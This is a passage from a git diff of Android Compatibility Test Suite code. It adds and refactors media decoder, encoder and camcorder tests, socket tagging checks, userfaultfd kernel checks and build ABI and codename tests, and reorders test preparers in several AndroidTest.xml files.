+ */
+@MediaHeavyPresubmitTest
+public class DecoderPushBlankBuffersOnStopTest {
+ private static final String TAG = "DecoderPushBlankBufferOnStopTest";
+ private static final String mInpPrefix = WorkDir.getMediaDirString();
+
+ /**
+ * Retrieve a file descriptor to a test resource from its file name.
+ * @param res Name from a resource in the media assets
+ */
+ private static AssetFileDescriptor getAssetFileDescriptorFor(final String res)
+ throws FileNotFoundException {
+ final String mediaDirPath = WorkDir.getMediaDirString();
+ File mediaFile = new File(mediaDirPath + res);
+ Preconditions.assertTestFileExists(mediaDirPath + res);
+ ParcelFileDescriptor parcelFD =
+ ParcelFileDescriptor.open(mediaFile, ParcelFileDescriptor.MODE_READ_ONLY);
+ return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
+ }
+
+ private static boolean isUniformlyBlank(Bitmap bitmap) {
+ final var color = new Color(); // Defaults to opaque black in sRGB
+ final int width = bitmap.getWidth();
+ final int height = bitmap.getHeight();
+ // Check a subset of pixels against the first pixel of the image.
+ // This is not strictly sufficient, but probably good enough and much more efficient.
+ for (int y = 0; y < height; y+=4) {
+ for (int x = 0; x < width; x+=4) {
+ if (color.toArgb() != bitmap.getColor(x, y).toArgb()) {
+ return false;
+ }
+ }
+ }
+ return true;
+ }
+
+ private void testPushBlankBuffersOnStop(String testVideo) throws Exception {
+ // Configure the test activity to hide its title
+ final var noTitle = new Intent(ApplicationProvider.getApplicationContext(),
+ MediaStubActivity.class);
+ noTitle.putExtra(MediaStubActivity.INTENT_EXTRA_NO_TITLE, true);
+ try(ActivityScenario<MediaStubActivity> scenario = ActivityScenario.launch(noTitle)) {
+ final var surface = new AtomicReference<Surface>();
+ scenario.onActivity(activity -> {
+ surface.set(activity.getSurfaceHolder().getSurface());
+ });
+
+ // Setup media extraction
+ final AssetFileDescriptor fd = getAssetFileDescriptorFor(testVideo);
+ final var extractor = new MediaExtractor();
+ extractor.setDataSource(fd);
+ fd.close();
+ MediaFormat format = null;
+ int trackIndex = -1;
+ for (int i = 0; i < extractor.getTrackCount(); i++) {
+ format = extractor.getTrackFormat(i);
+ if (format.getString(MediaFormat.KEY_MIME).startsWith("video/")) {
+ trackIndex = i;
+ break;
+ }
+ }
+ Assert.assertTrue("No video track was found", trackIndex >= 0);
+ extractor.selectTrack(trackIndex);
+ // Enable PUSH_BLANK_BUFFERS_ON_STOP
+ format.setInteger(MediaFormat.KEY_PUSH_BLANK_BUFFERS_ON_STOP, 1);
+
+ // Setup video codec
+ final var mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+ final String decoderName = mcl.findDecoderForFormat(format);
+ Assume.assumeNotNull(String.format("No decoder for %s", format), format);
+ final MediaCodec decoder = MediaCodec.createByCodecName(decoderName);
+ // Boolean set from the decoding thread to signal that a frame has been decoded
+ final var displayedFrame = new AtomicBoolean(false);
+ // Lock used for thread synchronization
+ final Lock lock = new ReentrantLock();
+ // Condition that signals the decoding thread has made enough progress
+ final Condition processingDone = lock.newCondition();
+ final var cb = new MediaCodec.Callback() {
+ /** Queue input buffers until one buffer has been decoded. */
+ @Override
+ public void onInputBufferAvailable(MediaCodec codec, int index) {
+ lock.lock();
+ try {
+ // Stop queuing frames once a frame has been displayed
+ if (displayedFrame.get()) {
+ return;
+ }
+ } finally {
+ lock.unlock();
+ }
+
+ ByteBuffer inputBuffer = codec.getInputBuffer(index);
+ int sampleSize = extractor.readSampleData(inputBuffer,
+ 0 /* offset */);
+ if (sampleSize < 0) {
+ codec.queueInputBuffer(index, 0 /* offset */, 0 /* sampleSize */,
+ 0 /* presentationTimeUs */,
+ MediaCodec.BUFFER_FLAG_END_OF_STREAM);
+ return;
+ }
+ final long presentationTimeMs = System.currentTimeMillis();
+ codec.queueInputBuffer(index, 0 /* offset */, sampleSize,
+ presentationTimeMs * 1000, 0 /* flags */);
+ extractor.advance();
+ }
+
+ /** Render the output buffer and signal that the processing is done. */
+ @Override
+ public void onOutputBufferAvailable(MediaCodec codec, int index,
+ MediaCodec.BufferInfo info) {
+ lock.lock();
+ try {
+ // Stop dequeuing frames once a frame has been displayed
+ if (displayedFrame.get()) {
+ return;
+ }
+ } finally {
+ lock.unlock();
+ }
+ if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+ return;
+ }
+ codec.releaseOutputBuffer(index, true);
+ }
+
+ /**
+ * Check if the error is transient. If it is, ignore it, otherwise signal end of
+ * processing.
+ */
+ @Override
+ public void onError(MediaCodec codec, MediaCodec.CodecException e) {
+ if (e.isTransient()) {
+ return;
+ }
+ lock.lock();
+ try {
+ processingDone.signal();
+ } finally {
+ lock.unlock();
+ }
+ }
+
+ /** Ignore format changed events. */
+ @Override
+ public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) { }
+ };
+ final var onFrameRenderedListener = new MediaCodec.OnFrameRenderedListener() {
+ @Override
+ public void onFrameRendered(MediaCodec codec, long presentationTimeUs,
+ long nanoTime) {
+ lock.lock();
+ try {
+ displayedFrame.set(true);
+ processingDone.signal();
+ } finally {
+ lock.unlock();
+ }
+ }
+ };
+ decoder.setCallback(cb);
+ decoder.setOnFrameRenderedListener(onFrameRenderedListener, null /* handler */);
+ scenario.onActivity(activity -> activity.hideSystemBars());
+ decoder.configure(format, surface.get(), null /* MediaCrypto */, 0 /* flags */);
+ // Start playback
+ decoder.start();
+ final long startTime = System.currentTimeMillis();
+ // Wait until the codec has decoded a frame, or a timeout.
+ lock.lock();
+ try {
+ long startTimeMs = System.currentTimeMillis();
+ long timeoutMs = 1000;
+ while ((System.currentTimeMillis() < startTimeMs + timeoutMs) &&
+ !displayedFrame.get()) {
+ processingDone.await(timeoutMs, TimeUnit.MILLISECONDS);
+ }
+ } finally {
+ lock.unlock();
+ }
+ Assert.assertTrue("Could not render any frame.", displayedFrame.get());
+ final ScreenCapture captureBeforeStop = Screenshot.capture();
+ Assert.assertFalse("Frame is blank before stop.", isUniformlyBlank(
+ captureBeforeStop.getBitmap()));
+ decoder.stop();
+ final ScreenCapture captureAfterStop = Screenshot.capture();
+ Assert.assertTrue("Frame is not blank after stop.", isUniformlyBlank(
+ captureAfterStop.getBitmap()));
+ decoder.release();
+ extractor.release();
+ }
+ }
+
+ @SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
+ @Test
+ public void testPushBlankBuffersOnStopVp9() throws Exception {
+ testPushBlankBuffersOnStop(
+ "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
+ }
+
+ @SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
+ @Test
+ public void testPushBlankBuffersOnStopAvc() throws Exception {
+ testPushBlankBuffersOnStop(
+ "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
+ }
+}
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java
index 6cf8802..fee4f04 100644
--- a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java
@@ -2454,16 +2454,36 @@
}
@Test
- public void testDecodeWithEOSOnLastBuffer() throws Exception {
+ public void testDecodeM4aWithEOSOnLastBuffer() throws Exception {
testDecodeWithEOSOnLastBuffer("sinesweepm4a.m4a");
+ }
+
+ @Test
+ public void testDecodeMp3WithEOSOnLastBuffer() throws Exception {
testDecodeWithEOSOnLastBuffer("sinesweepmp3lame.mp3");
testDecodeWithEOSOnLastBuffer("sinesweepmp3smpb.mp3");
+ }
+
+ @Test
+ public void testDecodeOpusWithEOSOnLastBuffer() throws Exception {
testDecodeWithEOSOnLastBuffer("sinesweepopus.mkv");
testDecodeWithEOSOnLastBuffer("sinesweepopusmp4.mp4");
+ }
+
+ @Test
+ public void testDecodeWavWithEOSOnLastBuffer() throws Exception {
testDecodeWithEOSOnLastBuffer("sinesweepwav.wav");
+ }
+
+ @Test
+ public void testDecodeFlacWithEOSOnLastBuffer() throws Exception {
testDecodeWithEOSOnLastBuffer("sinesweepflacmkv.mkv");
testDecodeWithEOSOnLastBuffer("sinesweepflac.flac");
testDecodeWithEOSOnLastBuffer("sinesweepflacmp4.mp4");
+ }
+
+ @Test
+ public void testDecodeOggWithEOSOnLastBuffer() throws Exception {
testDecodeWithEOSOnLastBuffer("sinesweepogg.ogg");
testDecodeWithEOSOnLastBuffer("sinesweepoggmkv.mkv");
testDecodeWithEOSOnLastBuffer("sinesweepoggmp4.mp4");
diff --git a/tests/tests/media/drmframework/AndroidTest.xml b/tests/tests/media/drmframework/AndroidTest.xml
index fc7b670..065c627 100644
--- a/tests/tests/media/drmframework/AndroidTest.xml
+++ b/tests/tests/media/drmframework/AndroidTest.xml
@@ -25,6 +25,11 @@
<option name="dynamic-config-name" value="CtsMediaDrmFrameworkTestCases" />
<option name="version" value="9.0_r1"/>
</target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+ <option name="target" value="device" />
+ <option name="config-filename" value="CtsMediaDrmFrameworkTestCases" />
+ <option name="version" value="7.0"/>
+ </target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="push-all" value="true" />
<option name="media-folder-name" value="CtsMediaDrmFrameworkTestCases-1.0" />
@@ -34,11 +39,6 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsMediaDrmFrameworkTestCases.apk" />
</target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
- <option name="target" value="device" />
- <option name="config-filename" value="CtsMediaDrmFrameworkTestCases" />
- <option name="version" value="7.0"/>
- </target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.media.drmframework.cts" />
<!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/encoder/AndroidTest.xml b/tests/tests/media/encoder/AndroidTest.xml
index 65d8d6d..4de5615 100644
--- a/tests/tests/media/encoder/AndroidTest.xml
+++ b/tests/tests/media/encoder/AndroidTest.xml
@@ -33,6 +33,11 @@
<option name="dynamic-config-name" value="CtsMediaEncoderTestCases" />
<option name="version" value="1.0"/>
</target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+ <option name="target" value="device" />
+ <option name="config-filename" value="CtsMediaEncoderTestCases" />
+ <option name="version" value="1.0"/>
+ </target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="push-all" value="true" />
<option name="media-folder-name" value="CtsMediaEncoderTestCases-1.0" />
@@ -42,11 +47,6 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsMediaEncoderTestCases.apk" />
</target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
- <option name="target" value="device" />
- <option name="config-filename" value="CtsMediaEncoderTestCases" />
- <option name="version" value="1.0"/>
- </target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.media.encoder.cts" />
<!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/encoder/src/android/media/encoder/cts/SurfaceEncodeTimestampTest.java b/tests/tests/media/encoder/src/android/media/encoder/cts/SurfaceEncodeTimestampTest.java
index 7d5a955..c4e76f0 100644
--- a/tests/tests/media/encoder/src/android/media/encoder/cts/SurfaceEncodeTimestampTest.java
+++ b/tests/tests/media/encoder/src/android/media/encoder/cts/SurfaceEncodeTimestampTest.java
@@ -27,6 +27,7 @@
import android.media.MediaCodecInfo.CodecCapabilities;
import android.media.MediaFormat;
import android.media.cts.InputSurface;
+import android.media.cts.TestArgs;
import android.opengl.GLES20;
import android.os.Build;
import android.os.Bundle;
@@ -42,6 +43,10 @@
import androidx.test.filters.SmallTest;
import androidx.test.filters.SdkSuppress;
+import com.android.compatibility.common.util.MediaUtils;
+
+import org.junit.Before;
+
import java.util.Arrays;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
@@ -70,12 +75,21 @@
private static final int BORDER_WIDTH = 16;
private static final int OUTPUT_FRAME_RATE = 30;
+ private static final String MEDIA_TYPE = MediaFormat.MIMETYPE_VIDEO_AVC;
+
private Handler mHandler;
private HandlerThread mHandlerThread;
private MediaCodec mEncoder;
private InputSurface mInputEglSurface;
private int mInputCount;
+ @Before
+ public void shouldSkip() {
+ if (TestArgs.shouldSkipMediaType(MEDIA_TYPE)) {
+ MediaUtils.skipTest(TAG, "Test should run only for video components");
+ }
+ }
+
@Override
public void setUp() throws Exception {
if (mHandlerThread == null) {
@@ -323,9 +337,9 @@
if (DEBUG) Log.d(TAG, "started");
// setup surface encoder format
- mEncoder = MediaCodec.createEncoderByType(MediaFormat.MIMETYPE_VIDEO_AVC);
+ mEncoder = MediaCodec.createEncoderByType(MEDIA_TYPE);
MediaFormat codecFormat = MediaFormat.createVideoFormat(
- MediaFormat.MIMETYPE_VIDEO_AVC, 1280, 720);
+ MEDIA_TYPE, 1280, 720);
codecFormat.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, 0);
codecFormat.setInteger(MediaFormat.KEY_COLOR_FORMAT,
CodecCapabilities.COLOR_FormatSurface);
diff --git a/tests/tests/media/encoder/src/android/media/encoder/cts/VideoEncoderTest.java b/tests/tests/media/encoder/src/android/media/encoder/cts/VideoEncoderTest.java
index 7f38ea4..4afc7aa 100644
--- a/tests/tests/media/encoder/src/android/media/encoder/cts/VideoEncoderTest.java
+++ b/tests/tests/media/encoder/src/android/media/encoder/cts/VideoEncoderTest.java
@@ -65,6 +65,7 @@
import org.junit.runners.Parameterized;
import java.io.IOException;
+import java.lang.Throwable;
import java.nio.ByteBuffer;
import java.util.ArrayList;
import java.util.Arrays;
@@ -177,21 +178,36 @@
}
public void onInputBufferAvailable(MediaCodec codec, int ix) {
if (it.hasNext()) {
- Pair<ByteBuffer, BufferInfo> el = it.next();
- el.first.clear();
try {
- codec.getInputBuffer(ix).put(el.first);
- } catch (java.nio.BufferOverflowException e) {
- Log.e(TAG, "cannot fit " + el.first.limit()
- + "-byte encoded buffer into "
- + codec.getInputBuffer(ix).remaining()
- + "-byte input buffer of " + codec.getName()
- + " configured for " + codec.getInputFormat());
- throw e;
+ Pair<ByteBuffer, BufferInfo> el = it.next();
+ el.first.clear();
+ try {
+ codec.getInputBuffer(ix).put(el.first);
+ } catch (java.nio.BufferOverflowException e) {
+ String diagnostic = "cannot fit " + el.first.limit()
+ + "-byte encoded buffer into "
+ + codec.getInputBuffer(ix).remaining()
+ + "-byte input buffer of " + codec.getName()
+ + " configured for " + codec.getInputFormat();
+ Log.e(TAG, diagnostic);
+ errorMsg.set(diagnostic + e);
+ synchronized (condition) {
+ condition.notifyAll();
+ }
+ // no sense trying to enqueue the failed buffer
+ return;
+ }
+ BufferInfo info = el.second;
+ codec.queueInputBuffer(
+ ix, 0, info.size, info.presentationTimeUs, info.flags);
+ } catch (Throwable t) {
+ errorMsg.set("exception in onInputBufferAvailable( "
+ + codec.getName() + "," + ix
+ + "): " + t);
+ synchronized (condition) {
+ condition.notifyAll();
+ }
}
- BufferInfo info = el.second;
- codec.queueInputBuffer(
- ix, 0, info.size, info.presentationTimeUs, info.flags);
}
}
public void onError(MediaCodec codec, MediaCodec.CodecException e) {
diff --git a/tests/tests/media/extractor/AndroidTest.xml b/tests/tests/media/extractor/AndroidTest.xml
index 007a65b..fbe2d48 100644
--- a/tests/tests/media/extractor/AndroidTest.xml
+++ b/tests/tests/media/extractor/AndroidTest.xml
@@ -33,6 +33,11 @@
<option name="dynamic-config-name" value="CtsMediaExtractorTestCases" />
<option name="version" value="1.0"/>
</target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+ <option name="target" value="device" />
+ <option name="config-filename" value="CtsMediaExtractorTestCases" />
+ <option name="version" value="1.0"/>
+ </target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="push-all" value="true" />
<option name="media-folder-name" value="CtsMediaExtractorTestCases-1.0" />
@@ -42,11 +47,6 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsMediaExtractorTestCases.apk" />
</target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
- <option name="target" value="device" />
- <option name="config-filename" value="CtsMediaExtractorTestCases" />
- <option name="version" value="1.0"/>
- </target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.media.extractor.cts" />
<!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/misc/AndroidTest.xml b/tests/tests/media/misc/AndroidTest.xml
index a7ad967..96f7b81 100644
--- a/tests/tests/media/misc/AndroidTest.xml
+++ b/tests/tests/media/misc/AndroidTest.xml
@@ -34,6 +34,11 @@
<option name="dynamic-config-name" value="CtsMediaMiscTestCases" />
<option name="version" value="9.0_r1"/>
</target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+ <option name="target" value="device" />
+ <option name="config-filename" value="CtsMediaMiscTestCases" />
+ <option name="version" value="1.0"/>
+ </target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="push-all" value="true" />
<option name="media-folder-name" value="CtsMediaMiscTestCases-1.0" />
@@ -43,11 +48,6 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsMediaMiscTestCases.apk" />
</target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
- <option name="target" value="device" />
- <option name="config-filename" value="CtsMediaMiscTestCases" />
- <option name="version" value="1.0"/>
- </target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.media.misc.cts" />
<!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/CamcorderProfileTest.java b/tests/tests/media/misc/src/android/media/misc/cts/CamcorderProfileTest.java
index c00407d..5c6e49e 100644
--- a/tests/tests/media/misc/src/android/media/misc/cts/CamcorderProfileTest.java
+++ b/tests/tests/media/misc/src/android/media/misc/cts/CamcorderProfileTest.java
@@ -16,6 +16,14 @@
package android.media.misc.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
import android.content.pm.PackageManager;
import android.hardware.Camera;
import android.hardware.Camera.Parameters;
@@ -28,13 +36,21 @@
import android.media.MediaRecorder;
import android.media.cts.NonMediaMainlineTest;
import android.test.AndroidTestCase;
+import android.test.InstrumentationTestCase;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.util.Arrays;
import java.util.List;
@NonMediaMainlineTest
-public class CamcorderProfileTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class CamcorderProfileTest {
private static final String TAG = "CamcorderProfileTest";
private static final int MIN_HIGH_SPEED_FPS = 100;
@@ -381,7 +397,19 @@
? "Checking get without id"
: "Checking get with id = " + cameraId);
- final List<Size> videoSizes = getSupportedVideoSizes(cameraId);
+ Camera camera = null;
+ if (cameraId == -1) {
+ camera = Camera.open();
+ assumeTrue("Device does not have a back-facing camera", camera != null);
+ } else {
+ camera = Camera.open(cameraId);
+ assertNotNull("failed to open CameraId " + cameraId, camera);
+ }
+
+ final List<Size> videoSizes = getSupportedVideoSizes(camera);
+
+ camera.release();
+ camera = null;
/**
* Check all possible supported profiles: get profile should work, and the profile
@@ -477,26 +505,33 @@
specificHighSpeedProfileQualities, null);
}
- public void testGet() {
+ @Test
+ public void testGetFirstBackCamera() {
/*
* Device may not have rear camera for checkGet(-1).
* Checking PackageManager.FEATURE_CAMERA is included or not to decide the flow.
* Continue if the feature is included.
* Otherwise, exit test.
*/
- PackageManager pm = mContext.getPackageManager();
+ Context context = InstrumentationRegistry.getContext();
+ assertNotNull("did not find context", context);
+ PackageManager pm = context.getPackageManager();
+ assertNotNull("did not find package manager", pm);
if (!pm.hasSystemFeature(PackageManager.FEATURE_CAMERA)) {
return;
}
checkGet(-1);
}
+ @Test
public void testGetWithId() {
int nCamera = Camera.getNumberOfCameras();
+ Context context = InstrumentationRegistry.getContext();
+ assertNotNull("did not find context", context);
for (int cameraId = 0; cameraId < nCamera; cameraId++) {
boolean isExternal = false;
try {
- isExternal = CameraUtils.isExternal(mContext, cameraId);
+ isExternal = CameraUtils.isExternal(context, cameraId);
} catch (Exception e) {
Log.e(TAG, "Unable to query external camera: " + e);
}
@@ -507,15 +542,14 @@
}
}
- private List<Size> getSupportedVideoSizes(int cameraId) {
- Camera camera = (cameraId == -1)? Camera.open(): Camera.open(cameraId);
+ private List<Size> getSupportedVideoSizes(Camera camera) {
Parameters parameters = camera.getParameters();
+ assertNotNull("Camera did not provide parameters", parameters);
List<Size> videoSizes = parameters.getSupportedVideoSizes();
if (videoSizes == null) {
videoSizes = parameters.getSupportedPreviewSizes();
assertNotNull(videoSizes);
}
- camera.release();
return videoSizes;
}
diff --git a/tests/tests/media/muxer/AndroidTest.xml b/tests/tests/media/muxer/AndroidTest.xml
index 502f2ca..0c361e9 100644
--- a/tests/tests/media/muxer/AndroidTest.xml
+++ b/tests/tests/media/muxer/AndroidTest.xml
@@ -33,6 +33,11 @@
<option name="dynamic-config-name" value="CtsMediaMuxerTestCases" />
<option name="version" value="1.0"/>
</target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+ <option name="target" value="device" />
+ <option name="config-filename" value="CtsMediaMuxerTestCases" />
+ <option name="version" value="1.0"/>
+ </target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="push-all" value="true" />
<option name="media-folder-name" value="CtsMediaMuxerTestCases-1.1" />
@@ -42,11 +47,6 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsMediaMuxerTestCases.apk" />
</target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
- <option name="target" value="device" />
- <option name="config-filename" value="CtsMediaMuxerTestCases" />
- <option name="version" value="1.0"/>
- </target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.media.muxer.cts" />
<!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/player/AndroidTest.xml b/tests/tests/media/player/AndroidTest.xml
index e3e8b02..a0041ac 100644
--- a/tests/tests/media/player/AndroidTest.xml
+++ b/tests/tests/media/player/AndroidTest.xml
@@ -33,6 +33,11 @@
<option name="dynamic-config-name" value="CtsMediaPlayerTestCases" />
<option name="version" value="1.0"/>
</target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+ <option name="target" value="device" />
+ <option name="config-filename" value="CtsMediaPlayerTestCases" />
+ <option name="version" value="1.0"/>
+ </target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="push-all" value="true" />
<option name="media-folder-name" value="CtsMediaPlayerTestCases-1.0" />
@@ -42,11 +47,6 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsMediaPlayerTestCases.apk" />
</target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
- <option name="target" value="device" />
- <option name="config-filename" value="CtsMediaPlayerTestCases" />
- <option name="version" value="1.0"/>
- </target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.media.player.cts" />
<!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/net/native/src/TagSocketTest.cpp b/tests/tests/net/native/src/TagSocketTest.cpp
index 75d83d5..253dc5a 100644
--- a/tests/tests/net/native/src/TagSocketTest.cpp
+++ b/tests/tests/net/native/src/TagSocketTest.cpp
@@ -79,6 +79,15 @@
return true;
}
+bool waitSocketIsNotTagged(const sp<IBinder>& binder, uint64_t cookie,
+ int maxTries) {
+ for (int i = 0; i < maxTries; ++i) {
+ if (socketIsNotTagged(binder, cookie)) return true;
+ usleep(50 * 1000);
+ }
+ return false;
+}
+
} // namespace
TEST_F(TagSocketTest, TagSocket) {
@@ -98,6 +107,11 @@
EXPECT_TRUE(socketIsTagged(mBinder, cookie, TEST_UID, TEST_TAG));
EXPECT_EQ(0, android_untag_socket(sock));
EXPECT_TRUE(socketIsNotTagged(mBinder, cookie));
+
+ EXPECT_EQ(0, android_tag_socket(sock, TEST_TAG));
+ EXPECT_TRUE(socketIsTagged(mBinder, cookie, geteuid(), TEST_TAG));
+ EXPECT_EQ(0, close(sock));
+ EXPECT_TRUE(waitSocketIsNotTagged(mBinder, cookie, 100 /* maxTries */));
}
TEST_F(TagSocketTest, TagSocketErrors) {
diff --git a/tests/tests/os/UffdGc/jni/android_os_cts_uffdgc_UserfaultfdTest.cc b/tests/tests/os/UffdGc/jni/android_os_cts_uffdgc_UserfaultfdTest.cc
index 8c17a72f..8533d7e 100644
--- a/tests/tests/os/UffdGc/jni/android_os_cts_uffdgc_UserfaultfdTest.cc
+++ b/tests/tests/os/UffdGc/jni/android_os_cts_uffdgc_UserfaultfdTest.cc
@@ -16,6 +16,7 @@
#include "jni.h"
#include <cstring>
+#include <cassert>
#include <errno.h>
#include <fcntl.h>
@@ -118,9 +119,9 @@
int major, minor;
struct utsname uts;
- if (uname(&uts) != 0 ||
- strcmp(uts.sysname, "Linux") != 0 ||
- sscanf(uts.release, "%d.%d", &major, &minor) != 2 ||
+ uname(&uts);
+ assert(strcmp(uts.sysname, "Linux") == 0);
+ if (sscanf(uts.release, "%d.%d", &major, &minor) != 2 ||
(major < kRequiredMajor || (major == kRequiredMajor && minor < kRequiredMinor))) {
return false;
}
@@ -131,6 +132,22 @@
}
extern "C"
+JNIEXPORT bool JNICALL Java_android_os_cts_uffdgc_UserfaultfdTest_confirmKernelArch64bit(JNIEnv*) {
+#if defined(__linux__)
+ struct utsname uts;
+ uname(&uts);
+ assert(strcmp(uts.sysname, "Linux") == 0);
+ if (strstr(uts.machine, "64") != nullptr ||
+ strstr(uts.machine, "armv8") == uts.machine) {
+ return true;
+ }
+ return false;
+#else
+ return false;
+#endif
+}
+
+extern "C"
JNIEXPORT jint JNICALL Java_android_os_cts_uffdgc_UserfaultfdTest_performKernelSpaceUffd(JNIEnv*) {
int ret = 0, write_fd = 0;
void* addr = nullptr;
diff --git a/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java b/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java
index 5291752..2f092a6 100644
--- a/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java
+++ b/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java
@@ -39,8 +39,8 @@
@Before
public void setUp() {
boolean mShouldRunTest = !(FeatureUtil.isAutomotive()
- && ApiLevelUtil.isAtMost(VERSION_CODES.S));
- Assume.assumeTrue("Skip userfaultfd tests on Automotive targets till S", mShouldRunTest);
+ && ApiLevelUtil.isAtMost(VERSION_CODES.S_V2));
+ Assume.assumeTrue("Skip userfaultfd tests on Automotive targets till S_V2", mShouldRunTest);
Assume.assumeTrue("Skip userfaultfd tests on kernels lower than 5.4", confirmKernelVersion());
}
@@ -71,6 +71,8 @@
// Test if userfaultfd works for minor-faults on shmem.
@Test
public void minorUserfaultfd() {
+ // minor fault feature is not enabled on 32-bit kernel archs.
+ Assume.assumeTrue(confirmKernelArch64bit());
assertEquals(0, performMinorUffd());
}
@@ -82,6 +84,7 @@
assertEquals(13, checkGetattr());
}
+ private native boolean confirmKernelArch64bit();
private native boolean confirmKernelVersion();
private native int performKernelSpaceUffd();
private native int uffdWithoutUserModeOnly();
diff --git a/tests/tests/os/assets/platform_versions.txt b/tests/tests/os/assets/platform_versions.txt
index c75ad0c..91da44c 100644
--- a/tests/tests/os/assets/platform_versions.txt
+++ b/tests/tests/os/assets/platform_versions.txt
@@ -1,3 +1,4 @@
S
Sv2
Tiramisu
+UpsideDownCake
diff --git a/tests/tests/os/src/android/os/cts/BuildTest.java b/tests/tests/os/src/android/os/cts/BuildTest.java
index 2aedad2..3b8df0b 100644
--- a/tests/tests/os/src/android/os/cts/BuildTest.java
+++ b/tests/tests/os/src/android/os/cts/BuildTest.java
@@ -60,6 +60,12 @@
* Verify that the CPU ABI fields on device match the permitted ABIs defined by CDD.
*/
public void testCpuAbi_valuesMatchPermitted() throws Exception {
+ for (String abi : Build.SUPPORTED_ABIS) {
+ if (abi.endsWith("-hwasan")) {
+ // HWASan builds are not official builds and support *-hwasan ABIs.
+ return;
+ }
+ }
// The permitted ABIs are listed in https://developer.android.com/ndk/guides/abis.
Set<String> just32 = new HashSet<>(Arrays.asList("armeabi", "armeabi-v7a", "x86"));
Set<String> just64 = new HashSet<>(Arrays.asList("x86_64", "arm64-v8a"));
@@ -312,7 +318,9 @@
// should at least be a conscious decision.
assertEquals(10000, fieldValue);
} else {
- if (activeCodenames.contains(fieldName)) {
+ // Remove all underscores to match build level codenames, e.g. S_V2 is Sv2.
+ String fieldNameWithoutUnderscores = fieldName.replaceAll("_", "");
+ if (activeCodenames.contains(fieldNameWithoutUnderscores)) {
// This is the current development version. Note that fieldName can
// become < CUR_DEVELOPMENT before CODENAME becomes "REL", so we
// can't assertEquals(CUR_DEVELOPMENT, fieldValue) here.
@@ -322,15 +330,10 @@
